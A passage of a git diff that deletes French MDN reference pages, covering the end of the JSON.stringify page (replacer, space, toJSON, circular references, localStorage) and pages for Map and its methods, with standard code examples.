-JSON.stringify([new Float32Array([1]), new Float64Array([1])]);
-// '[{"0":1},{"0":1}]'
-
-// toJSON()
-JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } });
-// '11'
-
-// Symbols:
-JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
-// '{}'
-JSON.stringify({ [Symbol('foo')]: 'foo' });
-// '{}'
-JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
-// '{}'
-JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
-  if (typeof k === 'symbol') {
-    return 'a symbol';
-  }
-});
-// undefined
-
-// Propriétés non énumérables
-JSON.stringify(Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
-// '{"y":"y"}'
-
-// Échec avec BigInt
-JSON.stringify({x: 2n});
-// TypeError: BigInt value can't be serialized in JSON
-
- -

L'argument remplaçant

- -

L'argument remplaçant est une fonction ou un tableau. Si c'est une fonction, elle prend deux paramètres : une clé et la valeur qui est traitée pour être convertie en chaîne. L'objet dans lequel la clé a été trouvée sera fourni comme paramètre this pour la fonction. Cette fonction est d'abord appelée avec une chaîne vide comme clé représentant l'objet à transformer puis elle est appelée sur chaque propriété de l'objet ou du tableau à transformer en chaîne. Cette fonction renvoie la valeur à ajouter à la chaîne JSON :

- -
    -
  • Si la valeur renvoyée est un nombre ({{jsxref("Number")}}), la chaîne correspondante au nombre sera utilisée comme valeur à ajouter à la chaîne pour représenter la valeur de la propriété traitée.
    • -
  • Si la valeur renvoyée est une chaîne de caractères ({{jsxref("String")}}), cette chaîne sera utilisée pour représenter la valeur de la propriété dans la chaîne JSON.
    • -
  • Si la valeur renvoyée est un {{jsxref("Boolean")}}, "true" ou "false" sera utilisé pour représenter la valeur de la propriété et sera ajouté à la chaîne JSON.
    • -
  • Si la valeur renvoyée est null, null sera ajouté à la chaîne JSON.
    • -
  • Si la valeur renvoyée est un autre objet, cet objet sera, de façon récursive, transformé en une chaîne JSON en appelant la fonction remplaçant sur chaque propriété sauf si l'objet est une fonction auquel cas, rien n'est ajouté à la chaîne JSON.
    • -
  • Si la valeur renvoyée est {{jsxref("undefined")}}, la propriété ne sera pas incluse dans la chaîne JSON.
    • -
- -
Note : la fonction remplaçant ne peut pas être utilisée pour retirer des valeurs d'un tableau. Si on renvoie undefined ou une fonction, ce sera la valeur null qui sera utilisée.
- -
Note : Si on souhaite que la fonction remplaçant distingue un objet dont une propriété a un clé qui est « réellement » une chaîne vide, il faudra avoir un compteur pour le nombre d'itération. Si le compteur indique que la première itération est passée, alors il s'agit bien d'un clé avec une chaîne vide.
- -

Exemple avec une fonction

- -
function remplaçant(clé, valeur) {
-  if (typeof valeur === "string") {
-    return undefined;
-  }
-  return valeur;
-}
-
-var toto = {fondation: "Mozilla", modèle: "boîte", semaine: 45, transport: "bus", mois: 7};
-console.log(JSON.stringify(toto, remplaçant)); // {"semaine":45, "mois":7}
-
- -

Exemple avec un tableau

- -

Si remplaçant est un tableau, les valeurs du tableau indiquent les propriétés de l'objet à inclure dans la chaîne JSON.

- -
JSON.stringify(toto, ['semaine', 'mois']);
-// '{"semaine":45,"mois":7}', on ne garde que "semaines" et "mois"
-
- -

L'argument espace

- -

L'argument espace est utilisé pour contrôler les espacements utilisés dans la chaîne finale.

- -
    -
  • Si c'est un nombre, les différents niveaux d'indentation auront autant d'espaces qu'indiqué grâce à ce paramètre (jusqu'à 10).
    • -
  • Si c'est une chaîne, les dix premiers caractères (ou la chaîne complète si elle est plus courte)
    • -
- -
JSON.stringify({ a: 2 }, null, ' ');
-// '{
-//  "a": 2
-// }'
-
- -

Dans l'exemple suivant on utilise la tabulation pour rendre lisible le résultat :

- -
JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
-// renverra
-// '{
-//     "uno": 1,
-//     "dos": 2
-// }'
-
- -

La fonction toJSON()

- -

Pour personnaliser la valeur d'un objet lors de sa conversion en JSON, on peut surcharger la méthode toJSON() : la valeur retournée par cette méthode toJSON() sera alors utilisée. JSON.stringify() invoquera la méthode toJSON() de l'objet avec un paramètre :

- -
    -
  • Si cet objet est une propriété de donnée, ce sera le nom de la propriété
    • -
  • Si cet objet est un tableau, ce sera l'indice de l'élément du tableau sous la forme d'une chaîne de caractères
    • -
  • Une chaîne vide si JSON.stringify() était directement appelé sur l'objet.
    • -
- -

Ainsi :

- -
var obj = {
-  data: 'data',
-  toJSON(clef){
-    if(clef) {
-      return `Un objet imbriqué sous la clef '${clef}'`;
-    } else {
-      return this;
-    }
-  }
-};
-
-JSON.stringify(obj);
-// '{"data":"data"}'
-
-JSON.stringify({ obj })
-// '{"obj":"Un objet imbriqué sous la clef 'obj'"}'
-
-JSON.stringify([ obj ])
-// '["Un objet imbriqué sous la clef '0'"]'
-
- -

Le problème des références circulaires

- -

Le format JSON ne prend pas en charge les références (bien qu'un brouillon IETF existe) et une exception {{jsxref("TypeError")}} sera levée si on tente d'encoder un objet possédant des références circulaires.

- -
const circularReference = {};
-circularReference.myself = circularReference;
-
-// Sérialiser un objet avec des références circulaires déclenche une "TypeError: cyclic object value"
-JSON.stringify(circularReference);
-
- -

Pour sérialiser les références circulaires, on peut utiliser une bibliothèque (cycle.js par exemple) ou implémenter sa propre solution (qui consistera à trouver et à remplacer le cycle par des valeurs sérialisables).

- -

Gestion des terminateurs de ligne

- -

Par le passé, JSON n'était pas un sous-ensemble strict de JavaScript. En effet, en JSON, deux terminateurs de ligne (le caractère de séparation de ligne U+2028 LINE SEPARATOR et le caractère de séparation de paragraphe U+2029 PARAGRAPH SEPARATOR) n'avaient pas besoin d'être échappés dans des données JSON alors qu'ils devaient l'être en JavaScript. Cela a désormais évolué et les deux points de code peuvent apparaître tant en JSON qu'en JavaScript.

- -

Ainsi, si on souhaite avoir une compatibilité avec les anciens moteurs JavaScript, on pourra évaluer ou utiliser les données JSON avec JSONP et la fonction utilitaire suivante :

- -
function jsFriendlyJSONStringify (s) {
-    return JSON.stringify(s).
-        replace(/\u2028/g, '\\u2028').
-        replace(/\u2029/g, '\\u2029');
-}
-
-var s = {
-    a: String.fromCharCode(0x2028),
-    b: String.fromCharCode(0x2029)
-};
-
-// dans Firefox, console.log enlève les échappements
-// des caractères Unicode, on utilise donc alert :(
-alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}
- -
-

Notes : Les propriétés des objets qui ne sont pas des tableaux ne sont pas transformées en chaînes de caractères selon un ordre particulier. Aussi, l'ordre des données en JSON ne saurait constituer une information utile.

-
- -
var a = JSON.stringify({toto: "truc", bidule: "machin"});
-// '{"toto":"truc","bidule":"machin"}'
-var b = JSON.stringify({bidule: "machin", toto: "truc"});
-// '{"bidule":"machin","toto":"truc"}'
-console.log(a !== b); // true
-
- -

Utiliser JSON.stringify avec localStorage

- -

Dans le cas où on souhaite enregistrer un objet créé par l'utilisateur afin de le restorer plus tard (y compris après que le navigateur ait été fermé), on peut utiliser JSON.stringify.

- -
-

Les fonctions n'ont pas de correspondances en JSON, il ne sera donc pas possible de les enregistrer de cette façon. En revanche, elles peuvent être affichées si elles ont été converties en texte avec la fonction de remplacement. De même, certains objets comme les dates seront transformées en chaîne de caractères après l'utilisation de JSON.parse().

-
- -
// On crée un objet pour l'exemple
-var session = {
-    'screens' : [],
-    'state' : true
-};
-session.screens.push({"name":"screenA", "width":450, "height":250});
-session.screens.push({"name":"screenB", "width":650, "height":350});
-session.screens.push({"name":"screenC", "width":750, "height":120});
-session.screens.push({"name":"screenD", "width":250, "height":60});
-session.screens.push({"name":"screenE", "width":390, "height":120});
-session.screens.push({"name":"screenF", "width":1240, "height":650});
-
-// On convertit l'objet en une chaîne JSON
-// et on enregistre cette valeur avec le nom 'session'
-localStorage.setItem('session', JSON.stringify(session));
-
-// Ici, on reconvertit la chaîne en un objet
-// JSON.stringify and saved in localStorage in JSON object again
-var sessionRestaurée = JSON.parse(localStorage.getItem('session'));
-
-// La variable sessionRestaurée contient désormais l'objet précédent
-// qui avait été sauvegardé dans localStorage
-console.log(sessionRestaurée);
-
- -

Chaînes bien formées et JSON.stringify()

- -

Les moteurs, qui implémentent la spécification sur JSON.stringify() bien formé, transformeront en chaîne de caractères les éléments isolés de paires surrogates via des séquences d'échappement Unicode plutôt que d'utiliser leurs valeurs littérales. Avant cette modification de spécification, JSON.stringify() n'aurait pas encodé les éléments surrogates isolés et les chaînes produites n'étaient pas valides selon UTF-8 ou UTF-16 :

- -
JSON.stringify("\uD800"); // '"�"'
- -

Avec cette modification, les séquences d'échappement produites permettent d'avoir un contenu UTF-16 ou UTF-8 lisible :

- -
JSON.stringify("\uD800"); // '"\\ud800"'
- -

Cette modification est rétrocompatible pour toutes les opérations où le résultat de JSON.stringify() est passé à des API comme JSON.parse() qui acceptent du texte JSON valide. En effet, ces API traiteront les séquences d'échappement de surrogates isolés comme les caractères correspondants. Seul le cas où le code interprète directement le résultat de JSON.stringify() doit être adapté afin de gérer les deux encodages possibles pour ces cas.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.7.
{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.JSON.stringify")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("JSON.parse()")}}
    • -
  • cycle.js qui ajoute deux fonctions JSON.decycle et JSON.retrocycle qui permettent d'encoder et de décoder des structures cycliques.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html deleted file mode 100644 index e8e5a27315..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: 'Map.prototype[@@iterator]()' -slug: Web/JavaScript/Reference/Objets_globaux/Map/@@iterator -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@iterator ---- -
{{JSRef}}
- -

La valeur initiale de la propriété @@iterator est la même fonction que la valeur initiale de la propriété {{jsxref("Map.prototype.entries()", "entries")}}.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-@@iterator.html")}}
- - - -

Syntaxe

- -
maMap[Symbol.iterator]
- -

Valeur de retour

- -

La fonction d'itération (le symbole @@iterator) de l'objet, par défaut, c'est la fonction {{jsxref("Map.prototype.entries()","entries()")}}.

- -

Exemples

- -

Utiliser [@@iterator]()

- -
var maMap = new Map();
-maMap.set("0", "toto");
-maMap.set(1, "truc");
-maMap.set({}, "bidule");
-
-var mapIter = myMap[Symbol.iterator]();
-
-console.log(mapIter.next().value); // ["0", "toto"]
-console.log(mapIter.next().value); // [1, "truc"]
-console.log(mapIter.next().value); // [Object, "bidule"]
-
- -

Utiliser [@@iterator]() avec for..of

- -
var maMap = new Map();
-maMap.set("0", "toto");
-maMap.set(1, "truc");
-maMap.set({}, "bidule");
-
-for (var v of maMap) {
-  console.log(v);
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.@@iterator")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype.entries()")}}
    • -
  • {{jsxref("Map.prototype.keys()")}}
    • -
  • {{jsxref("Map.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html deleted file mode 100644 index edeb984260..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: 'get Map[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/Map/@@species -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species ---- -
{{JSRef}}
- -

Map[@@species] renvoie le constructeur Map.

- -

Syntaxe

- -
Map[Symbol.species]
-
- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les objets Map. Les constructeurs des sous-classes peuvent surcharger ce constructeur afin de modifier ce qui est fait lors de la construction de l'objet et son affectation

- -

Exemples

- -

La propriété species renvoie la fonction correspondant au constructeur par défaut. Pour les objets Map, ce sera le constructeur Map :

- -
Map[Symbol.species]; // function Map()
- -

Pour des objets dérivés (par exemple un dictionnaire MaMap que vous auriez construit), la propriété species correspondra au constructeur MaMap. Si vous souhaitez surcharger cela pour renvoyer le constructeur parent Map, vous pourrez utiliser :

- -
class MaMap extends Map {
-  // On surcharge le symbole species de MaMap
-  // avec le constructeur Map parent
-  static get [Symbol.species]() { return Map; }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.@@species")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html deleted file mode 100644 index f413bff206..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 'Map.prototype[@@toStringTag]()' -slug: Web/JavaScript/Reference/Objets_globaux/Map/@@toStringTag -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag ---- -
{{JSRef}}
- -

La propriété Map[@@toStringTag] vaut "Map" initialement.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-@@tostringtag.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Syntaxe

- -
Map[Symbol.toStringTag]
- -

Exemple

- -
Object.prototype.toString.call(new Map()) // "[object Map]"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.@@toStringTag")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html deleted file mode 100644 index b24da02228..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Map.prototype.clear() -slug: Web/JavaScript/Reference/Objets_globaux/Map/clear -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear ---- -
{{JSRef}}
- -

La méthode clear() supprime tous les éléments d'un objet Map.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}
- - - -

Syntaxe

- -
maMap.clear();
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Exemple

- -

Utiliser la méthode clear()

- -
var maMap = new Map();
-maMap.set("truc", "bidule");
-maMap.set(1, "toto");
-
-maMap.size;        // 2
-maMap.has("truc"); // true
-
-maMap.clear();
-
-maMap.size;        // 0
-maMap.has("truc")  // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.clear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html deleted file mode 100644 index 53ff3fdb23..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Map.prototype.delete() -slug: Web/JavaScript/Reference/Objets_globaux/Map/delete -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete ---- -
{{JSRef}}
- -

La méthode delete() permet de retirer un élément donné d'un objet Map grâce à sa clé.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}
- - - -

Syntaxe

- -
maMap.delete(clé);
- -

Paramètres

- -
-
clé
-
Ce paramètre obligatoire correspond à la clé de l'élément qu'on souhaite retirer de l'objet Map.
-
- -

Valeur de retour

- -

Un booléen. La méthode renvoie true si un élément de l'objet Map a bien été retiré ou false si l'élément n'existe pas.

- -

Exemples

- -
var maMap = new Map();
-maMap.set("truc", "toto");
-
-maMap.delete("truc"); // Renvoie true. La suppression est OK.
-maMap.has("truc");    // Renvoie false. "truc" n'est plus présent.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.delete")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html deleted file mode 100644 index 993b5d9272..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Map.prototype.entries() -slug: Web/JavaScript/Reference/Objets_globaux/Map/entries -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries ---- -
{{JSRef}}
- -

La méthode entries() renvoie un objet Iterator qui contient les paires [clé, valeur] pour chaque élément de l'objet Map, dans leur ordre d'insertion.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}
- - - -

Syntaxe

- -
maMap.entries()
- -

Valeur de retour

- -

Un nouvel objet Iterator {{jsxref("Map")}}.

- -

Exemple

- -

Utiliser entries()

- -
var maMap = new Map();
-maMap.set("0", "toto");
-maMap.set(1, "truc");
-maMap.set({}, "bidule");
-
-var mapIter = maMap.entries();
-
-console.log(mapIter.next().value); // ["0", "toto"]
-console.log(mapIter.next().value); // [1, "truc"]
-console.log(mapIter.next().value); // [Object, "bidule"]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ES2015')}}Défintion initiale.
{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.entries")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype.keys()")}}
    • -
  • {{jsxref("Map.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html deleted file mode 100644 index 5690c4f53b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Map.prototype.forEach() -slug: Web/JavaScript/Reference/Objets_globaux/Map/forEach -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach ---- -
{{JSRef}}
- -

La méthode forEach() exécute une fonction donnée sur chaque élément clé-valeur de l'objet Map dans l'ordre d'insertion.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}
- - - -

Syntaxe

- -
maMap.forEach(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction à exécuter pour chaque élément.
-
thisArg
-
La valeur à utiliser comme contexte this lors de l'exécution de callback.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}

- -

Description

- -

La méthode forEach exécute la fonction callback donnée sur chacune des clés qui existe. Elle n'est pas appelée pour les clés qui ont été supprimées. En revanche, elle est appelée pour les valeurs qui sont présentes mais qui sont égales à undefined.

- -

callback est appelé avec trois arguments :

- -
    -
  • la valeur de l'élément
    • -
  • la clé de l'élément
    • -
  • l'objet Map parcouru
    • -
- -

Si un argument thisArg est fourni à la méthode forEach, il sera passé au callback quand il sera appelé et celui-ci l'utilisera comme valeur this. Dans les autres cas, la valeur undefined sera utilisée comme contexte this. La valeur this observée par la fonction callback est déterminée selon les règles appliquées à l'opérateur this.

- -

Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de forEach. callback n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que forEach ait parcouru l'ensemble seront traitées.

- -

forEach exécute la fonction callback une fois pour chaque élément de l'objet Map : il ne renvoie pas de valeur.

- -

Exemples

- -

Le fragment de code suivant enregistre une ligne pour chaque élément d'un objet Map :

- -
function logMapElements(valeur, clé, map) {
-    console.log(`map.get('${clé}') = ${value}`);
-}
-
-
-new Map([["toto", 3], ["truc", {}], ["bidule", undefined]]).forEach(logMapElements);
-// affichera dans la console :
-// "map.get('toto') = 3"
-// "map.get('truc') = [object Object]"
-// "map.get('bidule') = undefined"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.forEach")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Set.prototype.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/get/index.html b/files/fr/web/javascript/reference/objets_globaux/map/get/index.html deleted file mode 100644 index 6f1e5dc37e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/get/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Map.prototype.get() -slug: Web/JavaScript/Reference/Objets_globaux/Map/get -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/get ---- -
{{JSRef}}
- -

La méthode get() renvoie un élément précisé d'un objet Map. Si la valeur associée à la clé fournie est un objet, alors on obtient une référence à cet objet et tous changements apporté à cet objet sera aussi visible à l'intérieur de l'objet Map.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}
- - - -

Syntaxe

- -
maMap.get(clé)
- -

Paramètres

- -
-
clé
-
La clé de l'élément à renvoyer depuis l'objet Map.
-
- -

Valeur de retour

- -

L'élément associée à la clé donnée ou {{jsxref("undefined")}} si la clé ne fait pas partie de l'objet Map.

- -

Exemples

- -
var maMap = new Map();
-maMap.set("truc", "toto");
-
-maMap.get("truc");     // Renvoie "toto".
-maMap.get("machin");   // Renvoie undefined.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.get")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Map.prototype.set()")}}
    • -
  • {{jsxref("Map.prototype.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/has/index.html b/files/fr/web/javascript/reference/objets_globaux/map/has/index.html deleted file mode 100644 index aed14c0662..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/has/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Map.prototype.has() -slug: Web/JavaScript/Reference/Objets_globaux/Map/has -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/has ---- -
{{JSRef}}
- -

La méthode has() renvoie un booléen permettant de déterminer si l'objet Map en question contient la clé donnée.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}
- - - -

Syntaxe

- -
maMap.has(clé);
- -

Paramètres

- -
-
clé
-
Ce paramètre obligatoire correspond à la clé dont on veut savoir si elle appartient à l'objet Map.
-
- -

Valeur de retour

- -

Cette méthode renvoie un booléen : true si un élément avec cette clé existe au sein de l'objet Map et false sinon.

- -

Exemples

- -
var maMap = new Map();
-maMap.set("truc", "toto");
-
-maMap.has("truc");  // renvoie true
-maMap.has("machin");// renvoie false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.has")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Map.prototype.set()")}}
    • -
  • {{jsxref("Map.prototype.get()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/index.html b/files/fr/web/javascript/reference/objets_globaux/map/index.html deleted file mode 100644 index b844416b16..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/index.html +++ /dev/null @@ -1,277 +0,0 @@ ---- -title: Map -slug: Web/JavaScript/Reference/Objets_globaux/Map -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map ---- -
{{JSRef}}
- -

L'objet Map représente un dictionnaire, autrement dit une carte de clés/valeurs. N'importe quelle valeur valable en JavaScript (que ce soit les objets ou les valeurs de types primitifs) peut être utilisée comme clé ou comme valeur.

- -

L'ordre d'insertion des clés est mémorisé dans l'objet et les boucles sur les Map parcourent les clés dans cet ordre.

- -

Syntaxe

- -
new Map([iterable])
- -

Paramètres

- -
-
itérable
-
Un tableau ({{jsxref("Array")}}) ou tout autre objet itérable dont les éléments sont des paires clé/valeur (par exemple un tableau de la forme [[1 , "toto"],[2, "truc"]]). Chaque paire clé/valeur sera ajoutée au nouvel objet Map. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.
-
- -

Description

- -

Un objet Map permet de retrouver ses éléments dans leur ordre d'insertion. Par exemple, une boucle {{jsxref("Instructions/for...of","for...of")}} renverra un tableau de [clé, valeur] pour chaque itération.

- -

On notera qu'un objet Map contenant des objets ne sera parcouru que dans l'ordre d'insertion de ces objets. Avec ES2015, l'ordre d'itération est fixé pour les objets. Toutefois, pour les versions antérieures d'ECMAScript, cet ordre n'est pas garanti.

- -

Égalité des clés

- -

L'égalité des clés est testée avec l'algorithme basé sur l'égalité de valeurs :

- -
    -
  • {{jsxref("NaN")}} est considéré égal à NaN (bien que, pour l'égalité stricte NaN !== NaN)
    • -
  • les autres valeurs sont considérées égales au sens de l'égalité stricte (l'opérateur  ===).
    • -
- -

Dans les versions précédentes des brouillons ECMAScript 2015 (ES6) -0 et +0 étaient considérés différents (bien que -0 === +0), ceci a été changé dans les versions ultérieures et a été adapté avec Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) et une version nocturne de Chrome.

- -

Comparaison entre objets et maps

- -

Les {{jsxref("Object", "objets","",1)}} sont similaires aux Maps, chacun manipulant des clés associées à des valeurs, récupérant ces valeurs, supprimant des clés... Il n'y avait auparavant pas d'alternatives natives et c'est pourquoi, historiquement, les objets JavaScript ont été utilisés comme des Maps. Malgré tout, il y a des différences importantes entre Objects et Maps qui permettent de distinguer une utilisation des objets Map plus efficace :

- -
    -
  • Un Object possède un prototype, certaines clés par défaut peuvent donc entrer en collision avec les clés qu'on souhaite créer. À partir d'ES5, on peut écrire map = {{jsxref("Object.create", "Object.create(null)")}} mais cette formulation est rarement utilisée.
    • -
